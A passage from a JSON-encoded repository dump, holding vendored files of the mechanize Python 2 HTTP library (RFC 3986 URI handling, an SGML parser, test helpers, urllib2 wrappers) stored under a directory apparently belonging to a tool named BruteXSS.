\"get_data\", None)\n    if get_data:\n        data = get_data()\n\n    response = closeable_response(\n        response.fp, response.info(), response.geturl(), code, msg)\n    response = wrapper_class(response)\n    if data:\n        response.set_data(data)\n    return response\n"
  },
  {
    "path": "BruteXSS/mechanize/_rfc3986.py",
    "content": "\"\"\"RFC 3986 URI parsing and relative reference resolution / absolutization.\n\n(aka splitting and joining)\n\nCopyright 2006 John J. Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it under\nthe terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt\nincluded with the distribution).\n\n\"\"\"\n\n# XXX Wow, this is ugly.  Overly-direct translation of the RFC ATM.\n\nimport re, urllib\n\n## def chr_range(a, b):\n##     return \"\".join(map(chr, range(ord(a), ord(b)+1)))\n\n## UNRESERVED_URI_CHARS = (\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n##                         \"abcdefghijklmnopqrstuvwxyz\"\n##                         \"0123456789\"\n##                         \"-_.~\")\n## RESERVED_URI_CHARS = \"!*'();:@&=+$,/?#[]\"\n## URI_CHARS = RESERVED_URI_CHARS+UNRESERVED_URI_CHARS+'%'\n# this re matches any character that's not in URI_CHARS\nBAD_URI_CHARS_RE = re.compile(\"[^A-Za-z0-9\\-_.~!*'();:@&=+$,/?%#[\\]]\")\n\n\ndef clean_url(url, encoding):\n    # percent-encode illegal URI characters\n    # Trying to come up with test cases for this gave me a headache, revisit\n    # when do switch to unicode.\n    # Somebody else's comments (lost the attribution):\n##     - IE will return you the url in the encoding you send it\n##     - Mozilla/Firefox will send you latin-1 if there's no non latin-1\n##     characters in your link. It will send you utf-8 however if there are...\n    if type(url) == type(\"\"):\n        url = url.decode(encoding, \"replace\")\n    url = url.strip()\n    # for second param to urllib.quote(), we want URI_CHARS, minus the\n    # 'always_safe' characters that urllib.quote() never percent-encodes\n    return urllib.quote(url.encode(encoding), \"!*'();:@&=+$,/?%#[]~\")\n\ndef is_clean_uri(uri):\n    \"\"\"\n    >>> is_clean_uri(\"ABC!\")\n    True\n    >>> is_clean_uri(u\"ABC!\")\n    True\n    >>> is_clean_uri(\"ABC|\")\n    False\n    >>> is_clean_uri(u\"ABC|\")\n    False\n    >>> is_clean_uri(\"http://example.com/0\")\n    True\n    >>> is_clean_uri(u\"http://example.com/0\")\n    True\n    \"\"\"\n    # note module re treats bytestrings as through they were decoded as latin-1\n    # so this function accepts both unicode and bytestrings\n    return not bool(BAD_URI_CHARS_RE.search(uri))\n\n\nSPLIT_MATCH = re.compile(\n    r\"^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?\").match\ndef urlsplit(absolute_uri):\n    \"\"\"Return scheme, authority, path, query, fragment.\"\"\"\n    match = SPLIT_MATCH(absolute_uri)\n    if match:\n        g = match.groups()\n        return g[1], g[3], g[4], g[6], g[8]\n\ndef urlunsplit(parts):\n    scheme, authority, path, query, fragment = parts\n    r = []\n    append = r.append\n    if scheme is not None:\n        append(scheme)\n        append(\":\")\n    if authority is not None:\n        append(\"//\")\n        append(authority)\n    append(path)\n    if query is not None:\n        append(\"?\")\n        append(query)\n    if fragment is not None:\n        append(\"#\")\n        append(fragment)\n    return \"\".join(r)\n\ndef urljoin(base_uri, uri_reference):\n    \"\"\"Join a base URI with a URI reference and return the resulting URI.\n\n    See RFC 3986.\n    \"\"\"\n    return urlunsplit(urljoin_parts(urlsplit(base_uri),\n                                    urlsplit(uri_reference)))\n\n# oops, this doesn't do the same thing as the literal translation\n# from the RFC below\n## import posixpath\n## def urljoin_parts(base_parts, reference_parts):\n##     scheme, authority, path, query, fragment = base_parts\n##     rscheme, rauthority, rpath, rquery, rfragment = reference_parts\n\n##     # compute target URI path\n##     if rpath == \"\":\n##         tpath = path\n##     else:\n##         tpath = rpath\n##         if not tpath.startswith(\"/\"):\n##             tpath = merge(authority, path, tpath)\n##         tpath = posixpath.normpath(tpath)\n\n##     if rscheme is not None:\n##         return (rscheme, rauthority, tpath, rquery, rfragment)\n##     elif rauthority is not None:\n##         return (scheme, rauthority, tpath, rquery, rfragment)\n##     elif rpath == \"\":\n##         if rquery is not None:\n##             tquery = rquery\n##         else:\n##             tquery = query\n##         return (scheme, authority, tpath, tquery, rfragment)\n##     else:\n##         return (scheme, authority, tpath, rquery, rfragment)\n\ndef urljoin_parts(base_parts, reference_parts):\n    scheme, authority, path, query, fragment = base_parts\n    rscheme, rauthority, rpath, rquery, rfragment = reference_parts\n\n    if rscheme == scheme:\n        rscheme = None\n\n    if rscheme is not None:\n        tscheme, tauthority, tpath, tquery = (\n            rscheme, rauthority, remove_dot_segments(rpath), rquery)\n    else:\n        if rauthority is not None:\n            tauthority, tpath, tquery = (\n                rauthority, remove_dot_segments(rpath), rquery)\n        else:\n            if rpath == \"\":\n                tpath = path\n                if rquery is not None:\n                    tquery = rquery\n                else:\n                    tquery = query\n            else:\n                if rpath.startswith(\"/\"):\n                    tpath = remove_dot_segments(rpath)\n                else:\n                    tpath = merge(authority, path, rpath)\n                    tpath = remove_dot_segments(tpath)\n                tquery = rquery\n            tauthority = authority\n        tscheme = scheme\n    tfragment = rfragment\n    return (tscheme, tauthority, tpath, tquery, tfragment)\n\n# um, something *vaguely* like this is what I want, but I have to generate\n# lots of test cases first, if only to understand what it is that\n# remove_dot_segments really does...\n## def remove_dot_segments(path):\n##     if path == '':\n##         return ''\n##     comps = path.split('/')\n##     new_comps = []\n##     for comp in comps:\n##         if comp in ['.', '']:\n##             if not new_comps or new_comps[-1]:\n##                 new_comps.append('')\n##             continue\n##         if comp != '..':\n##             new_comps.append(comp)\n##         elif new_comps:\n##             new_comps.pop()\n##     return '/'.join(new_comps)\n\n\ndef remove_dot_segments(path):\n    r = []\n    while path:\n        # A\n        if path.startswith(\"../\"):\n            path = path[3:]\n            continue\n        if path.startswith(\"./\"):\n            path = path[2:]\n            continue\n        # B\n        if path.startswith(\"/./\"):\n            path = path[2:]\n            continue\n        if path == \"/.\":\n            path = \"/\"\n            continue\n        # C\n        if path.startswith(\"/../\"):\n            path = path[3:]\n            if r:\n                r.pop()\n            continue\n        if path == \"/..\":\n            path = \"/\"\n            if r:\n                r.pop()\n            continue\n        # D\n        if path == \".\":\n            path = path[1:]\n            continue\n        if path == \"..\":\n            path = path[2:]\n            continue\n        # E\n        start = 0\n        if path.startswith(\"/\"):\n            start = 1\n        ii = path.find(\"/\", start)\n        if ii < 0:\n            ii = None\n        r.append(path[:ii])\n        if ii is None:\n            break\n        path = path[ii:]\n    return \"\".join(r)\n\ndef merge(base_authority, base_path, ref_path):\n    # XXXX Oddly, the sample Perl implementation of this by Roy Fielding\n    # doesn't even take base_authority as a parameter, despite the wording in\n    # the RFC suggesting otherwise.  Perhaps I'm missing some obvious identity.\n    #if base_authority is not None and base_path == \"\":\n    if base_path == \"\":\n        return \"/\" + ref_path\n    ii = base_path.rfind(\"/\")\n    if ii >= 0:\n        return base_path[:ii+1] + ref_path\n    return ref_path\n\nif __name__ == \"__main__\":\n    import doctest\n    doctest.testmod()\n"
  },
  {
    "path": "BruteXSS/mechanize/_sgmllib_copy.py",
    "content": "# Taken from Python 2.6.4 and regexp module constants modified\n\"\"\"A parser for SGML, using the derived class as a static DTD.\"\"\"\n\n# XXX This only supports those SGML features used by HTML.\n\n# XXX There should be a way to distinguish between PCDATA (parsed\n# character data -- the normal case), RCDATA (replaceable character\n# data -- only char and entity references and end tags are special)\n# and CDATA (character data -- only end tags are special).  RCDATA is\n# not supported at all.\n\n\n# from warnings import warnpy3k\n# warnpy3k(\"the sgmllib module has been removed in Python 3.0\",\n#          stacklevel=2)\n# del warnpy3k\n\nimport markupbase\nimport re\n\n__all__ = [\"SGMLParser\", \"SGMLParseError\"]\n\n# Regular expressions used for parsing\n\ninteresting = re.compile('[&<]')\nincomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|'\n                           '<([a-zA-Z][^<>]*|'\n                              '/([a-zA-Z][^<>]*)?|'\n                              '![^<>]*)?')\n\nentityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')\n# hack to fix http://bugs.python.org/issue803422\n# charref = re.compile('&#([0-9]+)[^0-9]')\ncharref = re.compile(\"&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]\")\n\nstarttagopen = re.compile('<[>a-zA-Z]')\nshorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/')\nshorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/')\npiclose = re.compile('>')\nendbracket = re.compile('[<>]')\n# hack moved from _beautifulsoup.py (bundled BeautifulSoup version 2)\n#This code makes Beautiful Soup able to parse XML with namespaces\n# tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*')\ntagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*')\nattrfind = re.compile(\n    r'\\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\\s*=\\s*'\n    r'(\\'[^\\']*\\'|\"[^\"]*\"|[][\\-a-zA-Z0-9./,:;+*%?!&$\\(\\)_#=~\\'\"@]*))?')\n\n\nclass SGMLParseError(RuntimeError):\n    \"\"\"Exception raised for all parse errors.\"\"\"\n    pass\n\n\n# SGML parser base class -- find tags and call handler functions.\n# Usage: p = SGMLParser(); p.feed(data); ...; p.close().\n# The dtd is defined by deriving a class which defines methods\n# with special names to handle tags: start_foo and end_foo to handle\n# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself.\n# (Tags are converted to lower case for this purpose.)  The data\n# between tags is passed to the parser by calling self.handle_data()\n# with some data as argument (the data may be split up in arbitrary\n# chunks).  Entity references are passed by calling\n# self.handle_entityref() with the entity reference as argument.\n\nclass SGMLParser(markupbase.ParserBase):\n    # Definition of entities -- derived classes may override\n    entity_or_charref = re.compile('&(?:'\n      '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)'\n      ')(;?)')\n\n    def __init__(self, verbose=0):\n        \"\"\"Initialize and reset this instance.\"\"\"\n        self.verbose = verbose\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset this instance. Loses all unprocessed data.\"\"\"\n        self.__starttag_text = None\n        self.rawdata = ''\n        self.stack = []\n        self.lasttag = '???'\n        self.nomoretags = 0\n        self.literal = 0\n        markupbase.ParserBase.reset(self)\n\n    def setnomoretags(self):\n        \"\"\"Enter literal mode (CDATA) till EOF.\n\n        Intended for derived classes only.\n        \"\"\"\n        self.nomoretags = self.literal = 1\n\n    def setliteral(self, *args):\n        \"\"\"Enter literal mode (CDATA).\n\n        Intended for derived classes only.\n        \"\"\"\n        self.literal = 1\n\n    def feed(self, data):\n        \"\"\"Feed some data to the parser.\n\n        Call this as often as you want, with as little or as much text\n        as you want (may include '\\n').  (This just saves the text,\n        all the processing is done by goahead().)\n        \"\"\"\n\n        self.rawdata = self.rawdata + data\n        self.goahead(0)\n\n    def close(self):\n        \"\"\"Handle the remaining data.\"\"\"\n        self.goahead(1)\n\n    def error(self, message):\n        raise SGMLParseError(message)\n\n    # Internal -- handle data as far as reasonable.  May leave state\n    # and data to be processed by a subsequent call.  If 'end' is\n    # true, force handling all data as if followed by EOF marker.\n    def goahead(self, end):\n        rawdata = self.rawdata\n        i = 0\n        n = len(rawdata)\n        while i < n:\n            if self.nomoretags:\n                self.handle_data(rawdata[i:n])\n                i = n\n                break\n            match = interesting.search(rawdata, i)\n            if match: j = match.start()\n            else: j = n\n            if i < j:\n                self.handle_data(rawdata[i:j])\n            i = j\n            if i == n: break\n            if rawdata[i] == '<':\n                if starttagopen.match(rawdata, i):\n                    if self.literal:\n                        self.handle_data(rawdata[i])\n                        i = i+1\n                        continue\n                    k = self.parse_starttag(i)\n                    if k < 0: break\n                    i = k\n                    continue\n                if rawdata.startswith(\"</\", i):\n                    k = self.parse_endtag(i)\n                    if k < 0: break\n                    i = k\n                    self.literal = 0\n                    continue\n                if self.literal:\n                    if n > (i + 1):\n                        self.handle_data(\"<\")\n                        i = i+1\n                    else:\n                        # incomplete\n                        break\n                    continue\n                if rawdata.startswith(\"<!--\", i):\n                        # Strictly speaking, a comment is --.*--\n                        # within a declaration tag <!...>.\n                        # This should be removed,\n                        # and comments handled only in parse_declaration.\n                    k = self.parse_comment(i)\n                    if k < 0: break\n                    i = k\n                    continue\n                if rawdata.startswith(\"<?\", i):\n                    k = self.parse_pi(i)\n                    if k < 0: break\n                    i = i+k\n                    continue\n                if rawdata.startswith(\"<!\", i):\n                    # This is some sort of declaration; in \"HTML as\n                    # deployed,\" this should only be the document type\n                    # declaration (\"<!DOCTYPE html...>\").\n                    k = self.parse_declaration(i)\n                    if k < 0: break\n                    i = k\n                    continue\n            elif rawdata[i] == '&':\n                if self.literal:\n                    self.handle_data(rawdata[i])\n                    i = i+1\n                    continue\n                match = charref.match(rawdata, i)\n                if match:\n                    name = match.group(1)\n                    self.handle_charref(name)\n                    i = match.end(0)\n                    if rawdata[i-1] != ';': i = i-1\n                    continue\n                match = entityref.match(rawdata, i)\n                if match:\n                    name = match.group(1)\n                    self.handle_entityref(name)\n                    i = match.end(0)\n                    if rawdata[i-1] != ';': i = i-1\n                    continue\n            else:\n                self.error('neither < nor & ??')\n            # We get here only if incomplete matches but\n            # nothing else\n            match = incomplete.match(rawdata, i)\n            if not match:\n                self.handle_data(rawdata[i])\n                i = i+1\n                continue\n            j = match.end(0)\n            if j == n:\n                break # Really incomplete\n            self.handle_data(rawdata[i:j])\n            i = j\n        # end while\n        if end and i < n:\n            self.handle_data(rawdata[i:n])\n            i = n\n        self.rawdata = rawdata[i:]\n        # XXX if end: check for empty stack\n\n    # Extensions for the DOCTYPE scanner:\n    _decl_otherchars = '='\n\n    # Internal -- parse processing instr, return length or -1 if not terminated\n    def parse_pi(self, i):\n        rawdata = self.rawdata\n        if rawdata[i:i+2] != '<?':\n            self.error('unexpected call to parse_pi()')\n        match = piclose.search(rawdata, i+2)\n        if not match:\n            return -1\n        j = match.start(0)\n        self.handle_pi(rawdata[i+2: j])\n        j = match.end(0)\n        return j-i\n\n    def get_starttag_text(self):\n        return self.__starttag_text\n\n    # Internal -- handle starttag, return length or -1 if not terminated\n    def parse_starttag(self, i):\n        self.__starttag_text = None\n        start_pos = i\n        rawdata = self.rawdata\n        if shorttagopen.match(rawdata, i):\n            # SGML shorthand: <tag/data/ == <tag>data</tag>\n            # XXX Can data contain &... (entity or char refs)?\n            # XXX Can data contain < or > (tag characters)?\n            # XXX Can there be whitespace before the first /?\n            match = shorttag.match(rawdata, i)\n            if not match:\n                return -1\n            tag, data = match.group(1, 2)\n            self.__starttag_text = '<%s/' % tag\n            tag = tag.lower()\n            k = match.end(0)\n            self.finish_shorttag(tag, data)\n            self.__starttag_text = rawdata[start_pos:match.end(1) + 1]\n            return k\n        # XXX The following should skip matching quotes (' or \")\n        # As a shortcut way to exit, this isn't so bad, but shouldn't\n        # be used to locate the actual end of the start tag since the\n        # < or > characters may be embedded in an attribute value.\n        match = endbracket.search(rawdata, i+1)\n        if not match:\n            return -1\n        j = match.start(0)\n        # Now parse the data between i+1 and j into a tag and attrs\n        attrs = []\n        if rawdata[i:i+2] == '<>':\n            # SGML shorthand: <> == <last open tag seen>\n            k = j\n            tag = self.lasttag\n        else:\n            match = tagfind.match(rawdata, i+1)\n            if not match:\n                self.error('unexpected call to parse_starttag')\n            k = match.end(0)\n            tag = rawdata[i+1:k].lower()\n            self.lasttag = tag\n        while k < j:\n            match = attrfind.match(rawdata, k)\n            if not match: break\n            attrname, rest, attrvalue = match.group(1, 2, 3)\n            if not rest:\n                attrvalue = attrname\n            else:\n                if (attrvalue[:1] == \"'\" == attrvalue[-1:] or\n                    attrvalue[:1] == '\"' == attrvalue[-1:]):\n                    # strip quotes\n                    attrvalue = attrvalue[1:-1]\n                attrvalue = self.entity_or_charref.sub(\n                    self._convert_ref, attrvalue)\n            attrs.append((attrname.lower(), attrvalue))\n            k = match.end(0)\n        if rawdata[j] == '>':\n            j = j+1\n        self.__starttag_text = rawdata[start_pos:j]\n        self.finish_starttag(tag, attrs)\n        return j\n\n    # Internal -- convert entity or character reference\n    def _convert_ref(self, match):\n        if match.group(2):\n            return self.convert_charref(match.group(2)) or \\\n                '&#%s%s' % match.groups()[1:]\n        elif match.group(3):\n            return self.convert_entityref(match.group(1)) or \\\n                '&%s;' % match.group(1)\n        else:\n            return '&%s' % match.group(1)\n\n    # Internal -- parse endtag\n    def parse_endtag(self, i):\n        rawdata = self.rawdata\n        match = endbracket.search(rawdata, i+1)\n        if not match:\n            return -1\n        j = match.start(0)\n        tag = rawdata[i+2:j].strip().lower()\n        if rawdata[j] == '>':\n            j = j+1\n        self.finish_endtag(tag)\n        return j\n\n    # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>)\n    def finish_shorttag(self, tag, data):\n        self.finish_starttag(tag, [])\n        self.handle_data(data)\n        self.finish_endtag(tag)\n\n    # Internal -- finish processing of start tag\n    # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag\n    def finish_starttag(self, tag, attrs):\n        try:\n            method = getattr(self, 'start_' + tag)\n        except AttributeError:\n            try:\n                method = getattr(self, 'do_' + tag)\n            except AttributeError:\n                self.unknown_starttag(tag, attrs)\n                return -1\n            else:\n                self.handle_starttag(tag, method, attrs)\n                return 0\n        else:\n            self.stack.append(tag)\n            self.handle_starttag(tag, method, attrs)\n            return 1\n\n    # Internal -- finish processing of end tag\n    def finish_endtag(self, tag):\n        if not tag:\n            found = len(self.stack) - 1\n            if found < 0:\n                self.unknown_endtag(tag)\n                return\n        else:\n            if tag not in self.stack:\n                try:\n                    method = getattr(self, 'end_' + tag)\n                except AttributeError:\n                    self.unknown_endtag(tag)\n                else:\n                    self.report_unbalanced(tag)\n                return\n            found = len(self.stack)\n            for i in range(found):\n                if self.stack[i] == tag: found = i\n        while len(self.stack) > found:\n            tag = self.stack[-1]\n            try:\n                method = getattr(self, 'end_' + tag)\n            except AttributeError:\n                method = None\n            if method:\n                self.handle_endtag(tag, method)\n            else:\n                self.unknown_endtag(tag)\n            del self.stack[-1]\n\n    # Overridable -- handle start tag\n    def handle_starttag(self, tag, method, attrs):\n        method(attrs)\n\n    # Overridable -- handle end tag\n    def handle_endtag(self, tag, method):\n        method()\n\n    # Example -- report an unbalanced </...> tag.\n    def report_unbalanced(self, tag):\n        if self.verbose:\n            print '*** Unbalanced </' + tag + '>'\n            print '*** Stack:', self.stack\n\n    def convert_charref(self, name):\n        \"\"\"Convert character reference, may be overridden.\"\"\"\n        try:\n            n = int(name)\n        except ValueError:\n            return\n        if not 0 <= n <= 127:\n            return\n        return self.convert_codepoint(n)\n\n    def convert_codepoint(self, codepoint):\n        return chr(codepoint)\n\n    def handle_charref(self, name):\n        \"\"\"Handle character reference, no need to override.\"\"\"\n        replacement = self.convert_charref(name)\n        if replacement is None:\n            self.unknown_charref(name)\n        else:\n            self.handle_data(replacement)\n\n    # Definition of entities -- derived classes may override\n    entitydefs = \\\n            {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '\"', 'apos': '\\''}\n\n    def convert_entityref(self, name):\n        \"\"\"Convert entity references.\n\n        As an alternative to overriding this method; one can tailor the\n        results by setting up the self.entitydefs mapping appropriately.\n        \"\"\"\n        table = self.entitydefs\n        if name in table:\n            return table[name]\n        else:\n            return\n\n    def handle_entityref(self, name):\n        \"\"\"Handle entity references, no need to override.\"\"\"\n        replacement = self.convert_entityref(name)\n        if replacement is None:\n            self.unknown_entityref(name)\n        else:\n            self.handle_data(replacement)\n\n    # Example -- handle data, should be overridden\n    def handle_data(self, data):\n        pass\n\n    # Example -- handle comment, could be overridden\n    def handle_comment(self, data):\n        pass\n\n    # Example -- handle declaration, could be overridden\n    def handle_decl(self, decl):\n        pass\n\n    # Example -- handle processing instruction, could be overridden\n    def handle_pi(self, data):\n        pass\n\n    # To be overridden -- handlers for unknown objects\n    def unknown_starttag(self, tag, attrs): pass\n    def unknown_endtag(self, tag): pass\n    def unknown_charref(self, ref): pass\n    def unknown_entityref(self, ref): pass\n\n\nclass TestSGMLParser(SGMLParser):\n\n    def __init__(self, verbose=0):\n        self.testdata = \"\"\n        SGMLParser.__init__(self, verbose)\n\n    def handle_data(self, data):\n        self.testdata = self.testdata + data\n        if len(repr(self.testdata)) >= 70:\n            self.flush()\n\n    def flush(self):\n        data = self.testdata\n        if data:\n            self.testdata = \"\"\n            print 'data:', repr(data)\n\n    def handle_comment(self, data):\n        self.flush()\n        r = repr(data)\n        if len(r) > 68:\n            r = r[:32] + '...' + r[-32:]\n        print 'comment:', r\n\n    def unknown_starttag(self, tag, attrs):\n        self.flush()\n        if not attrs:\n            print 'start tag: <' + tag + '>'\n        else:\n            print 'start tag: <' + tag,\n            for name, value in attrs:\n                print name + '=' + '\"' + value + '\"',\n            print '>'\n\n    def unknown_endtag(self, tag):\n        self.flush()\n        print 'end tag: </' + tag + '>'\n\n    def unknown_entityref(self, ref):\n        self.flush()\n        print '*** unknown entity ref: &' + ref + ';'\n\n    def unknown_charref(self, ref):\n        self.flush()\n        print '*** unknown char ref: &#' + ref + ';'\n\n    def unknown_decl(self, data):\n        self.flush()\n        print '*** unknown decl: [' + data + ']'\n\n    def close(self):\n        SGMLParser.close(self)\n        self.flush()\n\n\ndef test(args = None):\n    import sys\n\n    if args is None:\n        args = sys.argv[1:]\n\n    if args and args[0] == '-s':\n        args = args[1:]\n        klass = SGMLParser\n    else:\n        klass = TestSGMLParser\n\n    if args:\n        file = args[0]\n    else:\n        file = 'test.html'\n\n    if file == '-':\n        f = sys.stdin\n    else:\n        try:\n            f = open(file, 'r')\n        except IOError, msg:\n            print file, \":\", msg\n            sys.exit(1)\n\n    data = f.read()\n    if f is not sys.stdin:\n        f.close()\n\n    x = klass()\n    for c in data:\n        x.feed(c)\n    x.close()\n\n\nif __name__ == '__main__':\n    test()\n"
  },
  {
    "path": "BruteXSS/mechanize/_sockettimeout.py",
    "content": "import socket\n\ntry:\n    _GLOBAL_DEFAULT_TIMEOUT = socket._GLOBAL_DEFAULT_TIMEOUT\nexcept AttributeError:\n    _GLOBAL_DEFAULT_TIMEOUT = object()\n"
  },
  {
    "path": "BruteXSS/mechanize/_testcase.py",
    "content": "import os\nimport shutil\nimport subprocess\nimport tempfile\nimport unittest\n\n\nclass SetupStack(object):\n\n    def __init__(self):\n        self._on_teardown = []\n\n    def add_teardown(self, teardown):\n        self._on_teardown.append(teardown)\n\n    def tear_down(self):\n        for func in reversed(self._on_teardown):\n            func()\n\n\nclass TearDownConvenience(object):\n\n    def __init__(self, setup_stack=None):\n        self._own_setup_stack = setup_stack is None\n        if setup_stack is None:\n            setup_stack = SetupStack()\n        self._setup_stack = setup_stack\n\n    # only call this convenience method if no setup_stack was supplied to c'tor\n    def tear_down(self):\n        assert self._own_setup_stack\n        self._setup_stack.tear_down()\n\n\nclass TempDirMaker(TearDownConvenience):\n\n    def make_temp_dir(self, dir_=None):\n        temp_dir = tempfile.mkdtemp(prefix=\"tmp-%s-\" % self.__class__.__name__,\n                                    dir=dir_)\n        def tear_down():\n            shutil.rmtree(temp_dir)\n        self._setup_stack.add_teardown(tear_down)\n        return temp_dir\n\n\nclass MonkeyPatcher(TearDownConvenience):\n\n    Unset = object()\n\n    def monkey_patch(self, obj, name, value):\n        orig_value = getattr(obj, name)\n        setattr(obj, name, value)\n        def reverse_patch():\n            setattr(obj, name, orig_value)\n        self._setup_stack.add_teardown(reverse_patch)\n\n    def _set_environ(self, env, name, value):\n        if value is self.Unset:\n            try:\n                del env[name]\n            except KeyError:\n                pass\n        else:\n            env[name] = value\n\n    def monkey_patch_environ(self, name, value, env=os.environ):\n        orig_value = env.get(name, self.Unset)\n        self._set_environ(env, name, value)\n        def reverse_patch():\n            self._set_environ(env, name, orig_value)\n        self._setup_stack.add_teardown(reverse_patch)\n\n\nclass FixtureFactory(object):\n\n    def __init__(self):\n        self._setup_stack = SetupStack()\n        self._context_managers = {}\n        self._fixtures = {}\n\n    def register_context_manager(self, name, context_manager):\n        self._context_managers[name] = context_manager\n\n    def get_fixture(self, name, add_teardown):\n        context_manager = self._context_managers[name]\n        fixture = context_manager.__enter__()\n        add_teardown(lambda: context_manager.__exit__(None, None, None))\n        return fixture\n\n    def get_cached_fixture(self, name):\n        fixture = self._fixtures.get(name)\n        if fixture is None:\n            fixture = self.get_fixture(name, self._setup_stack.add_teardown)\n            self._fixtures[name] = fixture\n        return fixture\n\n    def tear_down(self):\n        self._setup_stack.tear_down()\n\n\nclass TestCase(unittest.TestCase):\n\n    def setUp(self):\n        self._setup_stack = SetupStack()\n        self._monkey_patcher = MonkeyPatcher(self._setup_stack)\n\n    def tearDown(self):\n        self._setup_stack.tear_down()\n\n    def register_context_manager(self, name, context_manager):\n        return self.fixture_factory.register_context_manager(\n            name, context_manager)\n\n    def get_fixture(self, name):\n        return self.fixture_factory.get_fixture(name, self.add_teardown)\n\n    def get_cached_fixture(self, name):\n        return self.fixture_factory.get_cached_fixture(name)\n\n    def add_teardown(self, *args, **kwds):\n        self._setup_stack.add_teardown(*args, **kwds)\n\n    def make_temp_dir(self, *args, **kwds):\n        return TempDirMaker(self._setup_stack).make_temp_dir(*args, **kwds)\n\n    def monkey_patch(self, *args, **kwds):\n        return self._monkey_patcher.monkey_patch(*args, **kwds)\n\n    def monkey_patch_environ(self, *args, **kwds):\n        return self._monkey_patcher.monkey_patch_environ(*args, **kwds)\n\n    def assert_contains(self, container, containee):\n        self.assertTrue(containee in container, \"%r not in %r\" %\n                        (containee, container))\n\n    def assert_less_than(self, got, expected):\n        self.assertTrue(got < expected, \"%r >= %r\" %\n                        (got, expected))\n\n\n#  http://lackingrhoticity.blogspot.com/2009/01/testing-using-golden-files-in-python.html\n\nclass GoldenTestCase(TestCase):\n\n    run_meld = False\n\n    def assert_golden(self, dir_got, dir_expect):\n        assert os.path.exists(dir_expect), dir_expect\n        proc = subprocess.Popen([\"diff\", \"--recursive\", \"-u\", \"-N\",\n                                 \"--exclude=.*\", dir_expect, dir_got],\n                                stdout=subprocess.PIPE)\n        stdout, stderr = proc.communicate()\n        if len(stdout) > 0:\n            if self.run_meld:\n                # Put expected output on the right because that is the\n                # side we usually edit.\n                subprocess.call([\"meld\", dir_got, dir_expect])\n            raise AssertionError(\n                \"Differences from golden files found.\\n\"\n                \"Try running with --meld to update golden files.\\n\"\n                \"%s\" % stdout)\n        self.assertEquals(proc.wait(), 0)\n"
  },
  {
    "path": "BruteXSS/mechanize/_urllib2.py",
    "content": "# urllib2 work-alike interface\n# ...from urllib2...\nfrom urllib2 import \\\n     URLError, \\\n     HTTPError\n# ...and from mechanize\nfrom _auth import \\\n     HTTPProxyPasswordMgr, \\\n     HTTPSClientCertMgr\nfrom _debug import \\\n     HTTPResponseDebugProcessor, \\\n     HTTPRedirectDebugProcessor\n# crap ATM\n## from _gzip import \\\n##      HTTPGzipProcessor\nfrom _urllib2_fork import \\\n     AbstractBasicAuthHandler, \\\n     AbstractDigestAuthHandler, \\\n     BaseHandler, \\\n     CacheFTPHandler, \\\n     FileHandler, \\\n     FTPHandler, \\\n     HTTPBasicAuthHandler, \\\n     HTTPCookieProcessor, \\\n     HTTPDefaultErrorHandler, \\\n     HTTPDigestAuthHandler, \\\n     HTTPErrorProcessor, \\\n     HTTPHandler, \\\n     HTTPPasswordMgr, \\\n     HTTPPasswordMgrWithDefaultRealm, \\\n     HTTPRedirectHandler, \\\n     ProxyBasicAuthHandler, \\\n     ProxyDigestAuthHandler, \\\n     ProxyHandler, \\\n     UnknownHandler\nfrom _http import \\\n     HTTPEquivProcessor, \\\n     HTTPRefererProcessor, \\\n     HTTPRefreshProcessor, \\\n     HTTPRobotRulesProcessor, \\\n     RobotExclusionError\nimport httplib\nif hasattr(httplib, 'HTTPS'):\n    from _urllib2_fork import HTTPSHandler\ndel httplib\nfrom _opener import OpenerDirector, \\\n     SeekableResponseOpener, \\\n     build_opener, install_opener, urlopen\nfrom _request import \\\n     Request\n"
  },
  {
    "path": "BruteXSS/mechanize/_urllib2_fork.py",
    "content": "\"\"\"Fork of urllib2.\n\nWhen reading this, don't assume that all code in here is reachable.  Code in\nthe rest of mechanize may be used instead.\n\nCopyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Python\nSoftware Foundation; All Rights Reserved\n\nCopyright 2002-2009 John J Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\n# XXX issues:\n# If an authentication error handler that tries to perform\n# authentication for some reason but fails, how should the error be\n# signalled?  The client needs to know the HTTP error code.  But if\n# the handler knows that the problem was, e.g., that it didn't know\n# that hash algo that requested in the challenge, it would be good to\n# pass that information along to the client, too.\n# ftp errors aren't handled cleanly\n# check digest against correct (i.e. non-apache) implementation\n\n# Possible extensions:\n# complex proxies  XXX not sure what exactly was meant by this\n# abstract factory for opener\n\nimport copy\nimport base64\nimport httplib\nimport mimetools\nimport logging\nimport os\nimport posixpath\nimport random\nimport re\nimport socket\nimport sys\nimport time\nimport urllib\nimport urlparse\nimport bisect\n\ntry:\n    from cStringIO import StringIO\nexcept ImportError:\n    from StringIO import StringIO\n\ntry:\n    import hashlib\nexcept ImportError:\n    # python 2.4\n    import md5\n    import sha\n    def sha1_digest(bytes):\n        return sha.new(bytes).hexdigest()\n    def md5_digest(bytes):\n        return md5.new(bytes).hexdigest()\nelse:\n    def sha1_digest(bytes):\n        return hashlib.sha1(bytes).hexdigest()\n    def md5_digest(bytes):\n        return hashlib.md5(bytes).hexdigest()\n\n\ntry:\n    socket._fileobject(\"fake socket\", close=True)\nexcept TypeError:\n    # python <= 